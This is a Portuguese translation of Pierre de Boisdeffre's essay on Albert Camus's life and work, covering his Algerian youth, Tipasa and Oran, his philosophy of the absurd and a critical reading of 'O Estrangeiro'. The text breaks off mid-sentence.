VIDA E OBRA DE ALBERT CAMUS por Pierre de Boisdeffre

VIDA E OBRA DE ALBERT CAMUS por Pierre de Boisdeffre

 

Fonte: Editora Opera Mundi

 

Após o dia 4 de janeiro
temos de falar de Camus como de um morto, quer dizer como de um homem cuja
existência é doravante cercada pela história e cuja obra não é mais tão somente
assinada, mas também datada. Este Camus vivo e risonho (a despeito da lenda de
ponderação cerimoniosa), que adorava os jogos de futebol e os bailes populares,
ei-lo agora imerso na terra vermelha de Lourmarin, frente a este céu
mediterrâneo que ele tanto amou. Terá atravessado este meio século como um
meteoro que leva consigo as esperanças e os sonhos de uma geração à qual ele
ensinou a "servir a dignidade do homem por meios que permanecem dignos em
meio a uma história que não o é".

"O homem não é inteiramente culpado, não
foi ele que começou a história; nem completamente inocente, já que ele a
continua". Camus, durante toda a sua vida, terá virado e revirado este
dilema. Começou por afirmar a inocência do homem, estrangeiro em uma
sociedade que o nega, em um mundo que o condena a morrer. Dentro de um jovem
organismo embriagado de felicidade, penetrara esta angústia, este escândalo que
constitui o fato inumano da morte: "Nenhuma moral nem esforço  algum  são
justificáveis a priori  ante  as  sangrentas matemáticas que ordenam
nossa condição."

É permissível pensar que o espírito precoce de
Camus tenha bebido nas contradições de sua Argélia natal os sucos que
alimentaram esta espécie de despedaçamento metafísico. O menino nascera em
Mondovi a 7 de novembro de 1913. Ainda não completara um ano quando perdeu o
pai, trabalhador agrícola, morto na batalha do Marne.

A mãe era camponesa, de origem
espanhola, e que jamais leu o francês; uma avó severa ao ponto de chegar a ser cruel,
educaram–no em um apartamento de Belcourt, o Montmartre ou o Belle ville
argeliano.É aos seus mestres — o professor Louis Germain, o filósofo Jean
Grenier — que ele deve ter podido continuar os estudos, escapando, graças à
obtenção de uma bolsa no liceu de Argel, à engrenagem da profissão. Quando a
tuberculose o feriu, em meio à preparação para professor universitário de
filosofia, ele já estava armado pela experiência da desgraça. Mas o céu da
Argélia, a curva de suas praias, a riqueza de seus pomares … e a beleza de
suas mulheres impediram-no de se entregar ao desespero. Se a miséria o impede
de acreditar que "tudo está bem sob o sol e na história", o sol
ensinou-lhe também que "a história não é tudo." Ao contrário de
grande número de intelectuais, quando Camus fala na miséria é como um homem que
a viveu. Aos vinte anos, recusando-se a fugir da pobreza por uma existência
melancólica de funcionário ("Tive medo, medo do definitivo"), ele já
ardia no desejo de se realizar; criar, para ele, sem nada mudar ao problema fundamental
do "destino", justificaria sua vida.

A Argélia natal: de
Belcourt a Tipasa

A Argel que ele conheceu, ainda inteiramente européia pelo
espírito, costumes, hábitos e o cenário da vida, não era esta cidade de For
West
que iria se tornar, pelo período de cinco ou seis estações, quando o
balão de oxigênio da guerra multiplicaria no seu solo os edifícios de quinze
andares, rodeando-a de uma grinalda de "grandes conjuntos" dos quais
os de Climat de France e Diar El Maçoul figuram entre os mais conhecidos. A
Argel de Camus é aquela de entre.as duas guerras: uma grande e bela cidade,
ativa e povoada, não sendo, porém, uma grande metrópole e sim uma prefeitura de
ultramar, ainda semicolonial e logo adormecida no torpor do verão.

Assim, como tantos dos seus compatriotas, o
jovem Camus trocava-a, todos os domingos, por essas praias da costa, da
Madrague a Cherchell, onde o banho de mar é delicioso e também é delicioso o
repouso, depois, a sombra dos pinheiros marítimos. Camus praticava a natação e
o futebol; ele adorava a "Universidade de Argel que — escrevia-nos —
distingue-se de suas congêneres francesas por se assemelhar muito mais, pelo
cenário e estilo de vida, aos pórticos antigos de que às prisões da metrópole.
Nossa maior ocupação,que assim se conservou para mim por muito tempo, era o
esporte. Foi onde recebi minhas únicas lições de moral." Foi goleiro no
Racing Universitário de Argel até que a doença o obrigou a interromper os
estudos.

Na Argélia, dois lugares privilegiados parecem
haver formado sua sensibilidade, dois lugares bem diferentes, mas que, ambos,
retesaram as duas extremidades de seu arco: Orã e Tipasa.

. Orã, eme perdeu a sua alma,, foi a Marselha da
África francesa. "À primeira vista" (diz-nos Camus em A Peste) é uma cidade comum e nada mais que uma prefeitura francesa da costa
argelina. A própria cidade, devemos confessá-lo, é feia, uma cidade sem pombos,
sem árvores e sem jardins, onde não se ouve nem bater de asas nem farfalhar de
folhas". Nada mais verdadeiro, e nos termos às aparências, que este
retrato de um grande porto, com seus bairros comerciais, desesperadamente
semelhantes aos de Marselha ou Toulouse, que cresceu desordenadamente e sem
nenhum plano urbanístico, atropelando todas as previsões. Mas Camus amava nela
a sua vitalidade; menos enraizada que a de Argel, a população é muito mais
variada e mais turbulenta, fruto de um melting pot em que entram tanto
espanhóis e malteses como Francaouis. Destas origens multicores brotou
uma geração sólida de jovens morenos, altos, esbeltos, e de moços justamente
admirados pela sua saúde e pela sua dourada plenitude. Não foi um mero acaso
se Camus, que tinha passado um ano e meio em Orã de 1941 a 1942, achou no
espetáculo destas ruas atulhadas e de seus bulevares bonacheirões (mas basta
subir até Santa Cruz ou tomar o circuito do Murdjadjo para ter idéia de quanto
este belo quadro natural perdeu ao se eriçar de cimento armado), o cenário
impressionante do mais significativo de seus romances, de um romance que se
tornou profético, como O Processo de Kafka e pelas mesmas razões: A
Peste.

O outro pólo argelino que Camus retirou de uma sombra duas
vezes milenar e que ficará para sempre associado à sua pessoa na memória dos
homens é Tipasa. Não foi somente em Núpcias que ele falou de Tipasa de
maneira inesquecível, mas também em Verão, onde entoa em honra desse céu
"fresco como um olho, lavado e novamente lavado pelas águas", desta
luz "vibrante" que faz surgir, no mar ou em cada árvore ou cada casa,
"uma novidade surpreendente", um verdadeiro hosana: "A
terra, no amanhecer do mundo, deve ter surgido em uma claridade
semelhante". Para ele, não há um único dos sessenta e nove quilômetros de
estrada, (de Argel a Tipasa) que não esteja recoberto de lembranças e
sensações." A infância violenta, os sonhos adolescentes no ronrom do
carro, as manhãs, as moças viçosas, as praias, os músculos jovens sempre no
auge do esforço, a ligeira angústia da tarde em um coração de dezesseis anos, a
vontade de viver, a glória, e sempre o mesmo sol ao longo dos anos, inesgotável
de força e luz, ele mesmo insaciável, devorando uma a uma, durante meses, as
vítimas deitadas em cruz na praia à hora fúnebre do meio dia…" é tudo
isto que ele via levantar-se dentro dele, logo que o caminho, deixando o Sahel
e "suas colinas de vinhedos cor de bronze", começava a mergulhar em
direção à costa. Ele amava o pesado e sólido Chenoua que, à tarde, quando o sol
poente doura as encostas da montanha, é o único a celebrar "a glória
frágil do dia." Nas piores horas da ocupação, a lembrança desse céu
serviu-lhe de refúgio: "Foi ele que afinal impediu-me de desesperar.
Sempre soube que as ruínas de Tipasa eram mais jovens que os nossos canteiros ou
nossas ruínas." Pois Tipasa, modesta cidade balneária da costa argeliana
sobrevive ao seu antigo esplendor: ali as ruínas falam mais alto que as casas,
perdidas no meio das buganvilias. Cada pedra fala da- fragilidade das
civilizações, da espera dos bárbaros no limiar dos templos, da sua trágica
irrupção na morna felicidade da romanidade decadente.

Como é possível, quando se tem a sorte de ali se
encontrar na primavera, não repetir, como um Aleluia, as primeiras
palavras de Núpciasl "Tipasa é habitada pelos deuses e os deuses
falam no sol e no odor dos absintos, o mar encouraçado de prata, o céu azul
forte, as ruínas recobertas de flores e a luz em grandes borbotões nos montes
de pedras. Em certas horas, o campo enegrece ao sol. Os olhos tentam em vão
discernir outra coisa que as gotas de luz e de cores que tremem à beira dos
cílios" A cidade, há pouco tão parecida com os pequenos portos do nosso
Esterel, que se poderia acreditar estar perto de Saint-Raphael ou Agay, tem
como museu um pequeno Antiquarium iluminado por um admirável mosaico
retirado da basílica judiciária. No centro do tema decorativo em forma de
tabuleiro de xadrez jaz, meio apagada, uma família de prisioneiros. Ao redor do
mosaico, quatro esteias, meio apagadas, configuram as efígies de um guerreiro
britânico, de um batavo, um lanceiro da Europa Central e um arqueiro da Itúria,
que lembram a chegada do corpo expedicionário que veio dos confins do Danúbio,
restabelecer a ordem ameaçada (já…!) pelos bandidos rebeldes entrincheirados
no Ouarsenis. Mas é o próprio solo de Tipasa que rios convida a ler a história,
ora feliz ora trágica, daquela que foi uma grande cidade, rival de Icosium e
Cesaréia. Nota-se, com efeito, vestígios das sociedades desaparecidas:
instrumentos de sílex lascado do Paleolítico superior, cavernas púnicas trazendo
o signo de Tanit, casas cartaginesas e cidades romanas, basílicas cristãs e
bizantinas. Ao redor do Decumanus sucederam–se os templos — incendiados
pelos Vândalos —, o mercado — reconhecível pelas grandes ânforas meio
enterradas — e, para terminar, o refugio onde os últimos tipasianos, assediados
pelo invasor, pereceram, asfixiados pela fumaça, como ratos. A catedral de
Tipasa foi a maior da África (sua abside monumental, flanqueada por
contrafortes pré-romanos, dominava o antigo quarteirão episcopal), antes de ser
reconstruída pelos bizantinos sobre uma área reduzida
a três naves. Revejo o teatro que, paradoxalmente, não se apóia na montanha,
mas repousa sobre arcadas; a magnífica ninféia onde a água cai em cascatas
sonoras entre as estátuas e as colunas de mármore amarelo, vermelho e verde; a
porta de Cesaréia, semelhante às nossas galerias medievais; a monumental
basílica judiciária e o impressionante fórum, com seu perfeito lajeado
em abóbada…

Em Tipasa, nessa noite, como tomávamos o
aperitivo no terraço de uma casa amiga — uma dessas grandes casas burguesas de
outrora onde a civilização falava pelos móveis e os livros, os objetos de barro
e as estátuas romanas — a fuzilaria rebentou na montanha, impressionante
lembrança da precaridade da nossa ocupação. O próprio Camus o experimentara
amargamente, pois voltando a Tipasa, mergulhada na chuva, espantou-se ao encontrar
a pequena praça protegida por arame farpado, soldados camuflados em leopardos
ao redor do campo de ruínas e a hora deliciosa da noite vedada aos passeios
pelo toque de recolher.

Assim, há dois mil anos como no meio de sua
vida, Tipasa lhe terá ensinado tudo:"o direito de amar sem medida, de
passar o tempo" a esmagar as losnas, a acariciar as ruínas, a tentar
harmonizar (sua) respiração aos suspiros tumultuosos do mundo", a
paciente aprendizagem desta "difícil ciência de viver, que vale muito mais
que o savoir-vivre!" E também o fim inexorável que comanda o
destino de cada homem neste mundo e faz de nossa existência, que poderia ser
tão bela, uma "aventura horrível e suja". Para que serve entrar nas
"festas da terra e da beleza", se elas devem terminar no nada
incompreensível? "Realizar o quê? Oh! leite amargo, cama principesca, a
coroa está no fundo das águas!"

A felicidade e a tragédia. Entre elas está a vida
cotidiana, os pequenos prazeres que a tornam tolerável, o humor involuntário de
certas situações. Camus não era insensível a eles, pelo contrário. Fala de
Argel ou Orã com essa carinhosa ironia que temos muitas vezes para com os
nossos. Louvava os oranenses por terem levantado para eles próprios um altar
que simbolizava as virtudes do colonialismo: a Casa do Colono. "A  
julgar pelo edifício, estas virtudes são três: a audácia no
gosto, o amor da violência e o sentido das sínteses históricas. O Egito,
Bizâncio e Munique colaboraram na delicada construção de um pastelão que
representa uma enorme taça virada para baixo, … onde um gracioso colono, com
uma gravata borboleta e um capacete branco de cortiça, recebe a homenagem de um
cortejo de escravos vestidos à antiga". Quanto aos leões da Praça de Armas,
imponentes e de pescoço curto, Camus imaginava-os, à noite, descendo de seu
pedestal e girando silenciosamente em volta da praça escura para "urinar
interminavelmente debaixo dos grandes ficus empoeirados". A linguagem
popular de Argel, o pataouète, não tinha ouvinte mais atento. Camus
anotava suas expressões mais saborosas nos seus Cadernos e delas
encontramos muitos remanescentes em O Estrangeiro.

Descoberta da Europa:
dos museus da Itália

Camus não iria definhar em Argel. Bem depressa, aproveitou os acasos e interrupções de carreira de jornalista
"participante" (no Alger Republicam onde ele pleiteou
apaixonadamente em favor dos árabes desenraizados e privados de pátria,
pregando com um avanço de vinte anos uma integração que só foi concedida quando
já era tarde, depois em París-Soir) para percorrer uma Europa cujos
segredos o perseguiam.

Feitas com a maior parcimônia, estas
peregrinações européias confirmaram o apego invencível que ele já
experimentava pela beleza do mundo. Na Praga barroca do Hrad, como na Itália do
Renascimento, o jovem Camus gozou dessa identificação quase carnal do corpo e
do universo que valoriza suas melhores páginas. Para falar dos tetos dourados
da velha Praga, dos lilases de Sevilha, dos jardins Boboli ou do pequeno
claustro de São Francisco em Palma, o autor de Núpcias deveria encontrar
inflexões esquecidas desde Barres e Gide. Acabava ele de descobrir na Arte uma
escola de vida, um penhor de liberdade que assemelha o criador a Deus. Eu já
disse alhures o que Camus devia aos pintores do Quattrocento, "estes
romancistas do corpo". Aos seus olhos as oliveiras de Fiesole superam em
nobreza as de Sahel, pois foram contempladas pelos
primeiros artistas da Europa, um Giotto, um Fra Angélico, graças aos quais estão
asseguradas de não morrerem. Através dos artistas, a beleza do mundo continua.
"E’ que eles trabalham nesta matéria magnífica e fütil que se chama o
presente".

Última etapa: Paris e a metrópole. Camus as
descobriu nas piores horas de nossa história, à luz sinistra da guerra. Aos
vinte e seis anos tinha ele recebido o "conselho" de deixar Argel; o
jornalista que ousava escrever ter visto em Tizi-Ouzou "crianças
maltrapilhas disputar aos cães o conteúdo de uma lata de lixo" não tinha lugar
na Argélia da boa consciência colonial. Secretário de redação do Paris-Soir,
refugiara-se em Lião no dia seguinte ao armistício e descobria a insondável
tristeza das cidades tentacu-lares que o sol não desenruga de nenhum modo.
Depois voltava a Paris onde Malraux o introduzira na editora Gallimard que
publicou em 1942 o Estrangeiro e o Mito de Sísifo. Em seguida
mergulhava na Resistência (ao lado de René Leynaud, fuzilado no verão de 1944)
e tornava a encontrar-se em Paris libertada, na mesa de redação de Combat, ao
lado de Pascal Pia, Roger Grenier, Albert OUivier e Jacques Lemarchand.
Doravante seu caminho para a glória iria acelerar-se; nesse outono de 1944,
Gérard Philipe encarnava Calígula; três anos mais tarde, vinha o triunfo
da Peste; dez anos depois o Prêmio Nobel…

"A admirável
conjunção de uma pessoa, uma ação e uma obra"

Para toda uma geração, este Camus de trinta anos
exprimia então, segundo a frase de Sartre, "a admirável conjunção de uma pessoa,
uma ação e uma obra". "E, quando se aproximava o
redator do Combat clandestino desse Meursault que levava a honestidade
ao ponto de recusar-se a dizer que amava sua mãe… não estava longe de ser
exemplar. Pois resumia os conflitos da época e os ultrapassava pela sua paixão
de viver. Era uma pessoa, a mais complexa e a mais rica: o último e o mais
completo dos herdeiros de Chateaubriand, e o defensor atento de uma causa
social. Tinha todas as chances e todos os méritos, pois juntava o sentimento da
grandeza ao gesto apaixonado da beleza, a alegria ao sentido da
morte… Assim sua experiência unia estreitamente o efêmero do
permanente."1

Avançando sem se deter, Camus iria em breve ocupar o lugar
assumido trinta anos antes por André Gide, o lugar de alguém que desperta as
consciências. Primeiro sua obra tinha caminhado atrás da obra de Sartre, tal
qual um barquinho na esteira de um navio. Mas, a despeito de aparências e
conjunções fortuitas, as verdades que desenvolviam Sartre e Camus com o tempo
não poderiam senão se ultrapassarem ou se excluírem. Se um diálogo imaginário
tivesse sido possível entre Mersault e Mathieu, entre Rieux e Brunet, eles só
poderiam trocar injúrias. O que Camus chamava o absurdo, o divórcio entre o élan
do homem para o eterno e o caráter limitado de sua existência, que ele
viveu como uma paixão, "a mais lancinante de todas", é no fundo
bastante estranho a Sartre cuja moral é a de fazer, e cuja lógica é
rigorosamente racional: a experiência natural de Sartre a "náusea"
que lhe ditou as únicas páginas poéticas de sua obra — nada tem a ver com o élan
original que fez Camus comungar com os alimentos terrestres—o verão de
Argel, o vento sobre Djemila, o mar cálido…

"Não se pensa senão pela imagem. Se queres
ser filósofo, escreve romances", anotava então Camus nos seus Cadernos.
Para o jovem estudante de filosofia, autor de um memorial sobre Plotino e
Santo Agostinho, um filósofo no pleno sentido da palavra não poderia ser um
desses fazedores de sistemas — Descartes, Kant ou Spinosa — que enchem os
nossos manuais escolares, mas uma "testemunha da verdade" no sentido
que Kierkegaard deu a esta palavra. Donde sua proximidade com Pascal; donde sua
admiração por Nietzsche, de quem ele devia desenvolver mais de um tema, a
começar por aquele dos "mortos conscientes", que retomaria à sua
maneira no Mito de Sísifo. Para ele, como para o mestre de Sils Maria,
uma vida nunca é plena senão quando explora os dois extremos da felicidade e do
sofrimento. "É às almas mais espirituais, admitindo que sejam as mais
corajosas, que é dado viver as tragédias mais dolorosas".

1. J.P. Sartre, Les
Temps Modemes,
agosto de 1952.

 

Com efeito a obra de Camus vai buscar sua fonte
neste nível onde as idéias nascem das sensações e das imagens suscitadas pela
experiência. O Avesso e o Direito (1937) e Núpcias (1938),
publicadas nas vésperas da guerra, eram de um poeta imbuído de Pascal e de
Nietzsche — não sem uma certa embriaguez que lembrava os ímpetos juvenòs das Nourritures
Terrestres:
"Amo esta vida com sinceridade e quero falar com
liberdade; ela me dá o orgulho de minha condição de homem. Contudo, já me
disseram várias vezes, não há porque ficar muito orgulhoso. Sim, há de quê:
este sol, este mar, meu coração palpitante de juventude, meu corpo com gosto de
sal e o imenso cenário onde a ternura e o gênio se encontram no amarelo e o
azul. É para conquistar isto que tenho de aplicar toda a minha força e meus
recursos."

Na aurora de sua vida como no centro de sua obra
há assim um "sol invencível". Mas este sol tem sua face negra: a
"verdade que é a do sol também será a de minha morte". O mundo é belo
mas o homem não é o senhor dela; escapa-lhe sua profundidade e sua duração.
"Esta densidade e estranheza do mundo é o absurdo" — este
"absurdo" que ele devia viver como uma paixão Entretanto, ao
"desmedido" da história humana, cheia de violência e de morte, Camus
oporá sempre a disciplina soberana da arte: assim tinha ele resolvido, por sua
própria conta, o desacordo fundamental que separa o homem de sua experiência.
Transposto para o plano da arte, este divórcio torna-se intolerável, e o
artista encontra, na sua obra, "um terreno de entendimento de acordo com
sua nostalgia", um esforço que pode ir até a justificação de sua vida; é,
em todo o caso, a única nobreza, a única grandeza, a única comunhão — a única
eternidade — que possa reivindicar um mundo absurdo.

Longe de uma Argélia entregue ao
"desmedido", vítima desta "peste" que descrevera, Albert
Camus, no dia seguinte ao Prêmio Nobel (1957), que lhe dava enfim plena independência
no plano material, enraizou-se na Provença. O admirável maciço de Luberen, com
suas velhas pedras queimadas pelo sol, seus castelos e igrejas romanas, os
cemitérios presos aos flancos dos outeiros, acabaram de enfeitiçá-lo- Entre
vinte aldeias deliciosas, escolheu a de Loumarin. Seu castelo — que nos
últimos trinta anos tornou-se uma pequena "Villa Medicis" para uso
dos pintores e escritores, particularmente cara àqueles dentre eles que
nasceram à margem do Mediterrâneo — viu-o muitas vezes percorrer seu exíguo
jardim à francesa, ao lado de Emmanuel Robles ev de Jean Amrouche,
de Gabriel Audisio ou de Henri Bosco. A pequena distância, uma casa, espaçosa
mas com poucos móveis, servia-lhe de retiro. Camus gostava de ali escrever,
em pé, diante de uma escrivaninha de nogueira. Freqüentemente, subia a
montanha bem próxima, por um desses atalhos de ervas e espinheiros, evitada
pelos turistas, pois o verão quase tão ardente quanto o de Argel oculta ali
cobras e escorpiões. À noite, ia, às vezes, consultar alguns dos quarenta mil
volumes da biblioteca do castelo, colecionados por Laurent–Vibert. Em
Loumarin, sentia-se em casa, como Gérard Philipe em Ramatuelle. Foi lá que num amanhecer do límpido inverno provençal, parou o possante carro de
Michel Gallimard. O editor ofereceu-lhe um lugar na Facel-Véga, estofada de
couro preto, para subir a Paris. O escritor aceitou, preferindo o carro ao
"Mistral". Era o dia 4 de janeiro de 1960. Às 13h55m, o veloz carro
saiu da estrada — em Villeblévin, perto do Sena — e espatifou-se contra um
plátano. Camus teve morte instantânea. "Um barulho terrível! Bastou um
barulho terrível e ei-lo voltado à alegria da infância".

Uma
moral e uma filosofia de revolta

O Mito de Sísifo e O Estrangeiro, surgidos
ambos no meio incerto da guerra (1942) tinham impressionado vivamente por uma
mistura de ímpeto juvenil e maturidade. A partir do "único problema
verdadeiramente sério", o do suicídio, Camus reexaminava todas as noções
adquiridas sob a dura lei da morte. Convidava cada um de nós a tomar
consciência do divórcio entre o impulso do homem em direção ao eterno e o
caráter acabado de sua existência, a viver o absurdo do mundo como uma paixão,
"a partir do momento em que é reconhecido, o absurdo é uma paixão a mais
lancinante de todas". O homem que a descobriu não mais poderá parar, é
necessário que ele vá até ao fim da busca desesperada. Para Camus, romântico
legítimo, a paixão de Cristo poderia aparecer como o sacrifício
absurdo por excelência: toda uma tradição cristã, de Santo Agostinho a Pascal e
a Kierkegaard, nutriu-se nesta nascente: "Credo quia absurdum",
dizia Tertuliano.

O
autor do Mito de Sísifo, ao contrário, afirma que "o absurdo, que é
o estado metafísico do homem consciente, não leva a Deus"; define ele o
absurdo como "o pecado sem Deus", o próprio ato de viver num mundo
fechado, ao qual o homem não pode escapar senão pelo suicídio. Uma vez afastada
esta solução que suprime o problema sem resolvê-lo, Camus havia optado pela
revolta. "O orgulho, dizia Pascal, é o contrapeso de todas as nossas
misérias. Pois ou ele as esconde ou as revela, ele se glorifica em
conhecê-las". O orgulho, com efeito, transforma nossa humilhação em
grandeza, embriaga-se com nossos tormen-tos. Camus no-lo prova no grito de
vitória que põe na boca de seu Sísifo. Sem futuro, libertado do eterno, este
afirma poder jogar a vida no momento, arriscar tudo numa aventura efêmera»
bater todos os recordes, viver no nível mais alto possível…

 

Então, eis Camus a
imaginar Sísifo feliz: seu interminável castigo permitiu-lhe reconquistar seu
destino. Perdeu ele a ilusão de outro mundo, reencontrou a "face, o gesto
e o drama terrestres onde se resumem uma difícil sabedoria e uma paixão sem
amanhã",  pois a   luta pelos píncaros basta para encher um coração de
homem". Escutem este canto de vitória: "A grandeza mudou de campo.
Ela está no protesto e no sacrifício sem futuro… Sim, o homem é o seu próprio
fim. E ele é o seu único fim… Não há senão um luxo, aquele das relações
humanas. Como não compreender que, neste universo vulnerável, tudo aquilo que é
humano adquire um sentido mais ardente? Rostos atentos, a fraternidade
ameaçada, a amizade tão forte e tão recatada dos homens entre si, são as verdadeiras
riquezas pois que são perecíveis… Não o ignoramos, todas as Igrejas são
contra nós. Um coração tão tenso se furta ao Eterno… Mas eu não tenho nada
que fazer com o Eterno…"

Camus
percebe, entretanto, que falta aqui alguma coisa ao homem; que restaria deste
último na Terra se ele ficasse privado de sua criação?
Imagina heróis absurdos: Don Juan sem o amor (pois, bastaria amar e as coisas
seriam por demais simples ); o comediante sem a fé; o conquistador desabusado
(que sabe que a ação em si mesma é inútil )… herói com o qual povoará toda
sua obra, desde a vitima absurda que é O Estrangeiro, até a humanidade
absurda da Peste, passando pelo modelo absurdo do superhomem: Calígula.

Injustificável, a criação nem por isso deixa de vir em socorro
do homem; ela dá-lhe um suplemento do ser. A arte seria assim a única desforra
possível sobre uma natureza que nos renega, "pois tudo aquilo que retrata
a dignidade da arte se opõe a um tal mundo e o repele". Este "longo
diálogo das resurreições e metamorfoses" que o artista que sabe que deve
morrer, arranca, segundo Malraux, à implacável ironia das nebulosas é, para
Camus, "o testemunho perturbador da única dignidade do homem: a constante
revolta contra a sua condição". Melhor: ela constitui um ascetismo. E, tal
qual Proust, aceitando absorver-se no tempo perdido e depois reencontrado,
Camus mergulhou na sua criação. A partir "dessa sensibilidade absurda que
se pode encontrar esparsa no século", e que comanda sua visão do mundo,
Camus propõe-nos, do crime ao heroísmo e da solidão à comunhão, o itine • rário
de uma libertação espiritual.

"O Estrangeiro’,’
vítima e herói do absurdo.

,.

Evocando o destino de Sísifo, fizera o retrato
do "herói absurdo". "Seu desprezo dos deuses, seu ódio à
morte c sua paixão pela vida valeram-lhe este suplício onde todo o ser se
aplica a não acabar nada. É o preço que é preciso pagar pelas paixões desta
terra … Se "este mito é trágico, é que seu herói é consciente …
Sísifo, proletário dos deuses, impotente e revoltado, conhece toda a extensão
de sua miserável condição"

Mas o verdadeiro "herói absurdo",
Camus vai fazê-lo viver em um pequeno livro que será a sua obra-prima: O
Estrangeiro.
Sartre recusava-se a ver nele um romance, "ou, então,
seria, à maneira de Zadig ou Candide, um
breve romance de moralista… tendo ficado, no fundo, muito perto de um conto
de Voltaire". É verdade que, "com algum recuo, os bons romances
tornam-se perfeitamente semelhantes aos fenômenos naturais; esquecemo-nos que
eles têm um autor, aceitamo-los como pedras ou árvores, porque estão ali,
porque existem . O Estrangeiro impôs-se a nós com esta força; desde essa
primavera triste e suja do Paris da ocupação quando o descobrimos, não pudemos
mais esquecê-lo; a cada nova leitura, reencontramos essa presença importuna,
esse tempo que não se canalizava em ações como na maioria dos romances, mas
que recaia sobre nós, colava-se a nossa consciência, frustrava-nos barrando o
universo pela sua existência estorvante e definitiva.

A arte do Estrangeiro reside em sua
própria modéstia: invisível e presente por toda parte, uma composição tão
perfeita que dá a ilusão de uma simplicidade total. Não é uma narração que
lemos, é uma coisa que se impõe a nós como o ar e a luz. Frases curtas,
impessoais; nada de discursos, ações simples, miúdas, tão simples e tão miúdas
que se tornam embaraçosas, enormes. Nada de sentimentos, sobretudo nada de
sentimentos e eis que as lágrirnas nos vêm aos olhos…

"Mamãe morreu hoje. Ou talvez ontem, não
sei. Recebi um telegrama do asilo…" Eis como vive Mersault: no nível do
instante que ele não controla. Um humor sardonico e pungente desprende-se
destas notações aparentemente tão breves e tão secas, tanto sua sobriedade é eficiente.
Então nasce dentro de nós a inquietação: quem é este homem com reflexos
elementares, estrangeiro neste mundo, e, entretanto, tão perto de nós, este
proletário do espírito, que, evidentemente, não vive sua própria aventura, e,
entretanto, a suporta, sofre-a e nos faz vivê-la com uma intensidade dolorosa:
este ser, Camus nos disse no Mito de Sísifo, sois vós, sou eu, é o
animal moderno por excelência, é o homem absurdo, o homem do universo
concentracionário, o homem-robô, o homem sem esperança, sem amor e sem Deus. O
homem  absurdo  teria  podido  ser   Don  Juan,   ou então um revoltado ou um
herói, ou tão somente uma vítima; ele é tudo isso ao mesmo tempo, pois é o
Homem por excelência, a encarnação da miséria humana, sob a aparência de um
modesto empregado de Argel; tem ele a medíocre parcela de amor que os mais
deserdados dentre nós obtêm ainda da vida; é feliz, feliz simplesmente, mas
esta felicidade de pobre, que ele não conquistou e nem sequer mereceu, vai-lhe
ser arrancada pelo ritmo da vida absurda.

Saudemos a extraordinária arte com que é evocada a vida de
Mersault, a progressão insensível que o arrasta, sem que se dê conta, para o
país misterioso da morte; após cada advertência, um patamar no qual o herói
toma respiração, permite-lhe acreditar — como no Processo de Kafka — que
nada realmente se passou: "Fechei a janela e vi no espelho um canto da
mesa onde um lampião a álcool vizinhava com pedaços de pão. Pensei que, de
qualquer maneira, era mais um domingo que passara, que mamãe agora estava
enterrada, que retomaria o meu trabalho, em suma, nada havia mudado".

Com efeito, a vida recomeça. O patrão oferece a
Mersault uma situação em Paris, sua amante pede-lhe que se case com ela: tudo é
igual para Mersault, Paris ou Argel, o casamento ou uma ligação, ele não vê
muito bem em que tudo isso possa mudar-lhe a vida. Um domingo, durante um
passeio no subúrbio, o acontecimento vai se apresentar e parece assistir-se ao
lento deslocar de uma câmera. Uma briga explode entre os amigos de Mersault e
dois árabes que os tinham seguido até lá para um acerto de contas. Tudo parece
desvanecer-se logo na luminosidade resplandecente; Mersault não usou o
revólver que lhe puseram na mão; para ele é uma história acabada, que ele
esquecerá logo mais quando fizer a sesta. Entretanto bastará que veja o árabe
caído, que procure, afim de evitar o sol, dar um passo à frente, que o árabe
puxe sua faca para que ele perca a cabeça. "Foi então que tudo vacilou…
Todo o meu ser ficou tenso e crispei a mão no revólver e foi nesse momento, no
ruído ao mesmo tempo seco e ensurdecedor que tudo começou… Compreendi que
havia destruído o equilíbrio do dia, o silêncio excepcional de uma praia onde tinha sido tão feliz… Então disparei ainda
quatro vezes… E era como quatro pancadas breves dadas à porta da
desgraça".

Impossível um erro judiciário; Mersault matou um homem. Sem
motivo. Um crime gratuito, sem nenhuma motivação. Mersault encontra-se na cela,
seu passado vai cair sobre seu futuro: os atos mais insignificantes de sua vida
a acusação irá examiná-los. Mersault é um inocente, mas o seu ato, para a
justiça, projetou a verdadeira luz em sua vida; ele nasceu criminoso. No livro
de Kafka, não havia juizes nem acusação, mas um processo absurdo que se
desenrolava dentro da noite. Aqui tudo é estreitamente motivado, mas o
sentimento do absurdo é provocado pelo desequilíbrio entre o subjetivo e o
objetivo, a vida que Mersault viveu e que a sociedade viu, Mersault assiste ao
seu processo sem que nele se sinta implicado, toma conhemento dele mas não se
reconhece nele. Acusam-no de não ter amado sua mãe: "O porteiro diz que eu
não quis ver mamãe, que tinha fumado, dormido e bebido café com leite. Senti
então alguma coisa que revoltava a assistência e, pela primeira vez, compreendi
que era culpado".

Aqui estamos em cheio no universo absurdo: uma seqüência de
atos insignificantes aos quais damos um sentido que o autor não previu nem
quis: o efeito substancial sobre o público e o júri verifica-se quando revelam
que Mersault foi assistir, no dia seguinte à morte da mãe, a um filme de
Fernandel. Os depoimentos favoráveis ao acusado de nada mais servirão, pois
ficará admitido que "ele enterrara a mãe com um coração de
criminoso". "Em seguida, tudo andará muito depressa", e Mersault
tornará a encontrar por alguns instantes todos os ruídos familiares de uma
cidade que ele amava, "os apelos dos vendedores de jornais no ar já
acalmado, os últimos pássaros na praça… o ranger dos bondes nas curvas mais
fechadas da cidade", espantado ao verificar caminhos habituais "levar
tanto para a prisão quanto para os sonos inocentes".

Haverá apenas ainda um último incidente, quando o capelão
virá ver  Mersault  na cela. Este, que não protestara ao ouvir a sentença de
morte, sentirá de repente alguma coisa rebentar dentro dele: "ele tinha um
ar tão seguro, não é mesmo? Entretanto, nenhuma dessas certezas valia sequer um
fio de cabelo de mulher… Em que me importavam a morte dos outros,

o amor de uma mãe, em
que me importavam o Deus dele, as

idas que se escolhem, os destinos que se elegem, já que um
único destino devia me eleger? … Condenariam a ele também. Que importava se,
acusado de assassinato, também o executassem por não ter chorado no enterro da
mãe dele?"Então, compreendemos de repente: e é a única falha desse
romance, o único momento em que percebemos a demonstração, presente sob a
máscara da vida, o livro todo desembocando nesta última página, na qual o
Estrangeiro, em uma suprema negação, se entregou. Pouco nos importa que depois
ele tenha encontrado a calma e o sono, os ruídos do campo, os perfumes da
noite, da terra e do sol, a paz maravilhosa de um verão sonolento, aos quais
se abre pela primeira vez, como se esta grande cólera o tivesse purgado do mal,
"à terna indiferença" do mundo. Deseja agora que a multidão o
acolha com gritos de ódio, no dia da execução. Renunciou à amizade dos homens,
recusou olhar para além da morte. Deixou de ser uma vítima, talvez até tenha
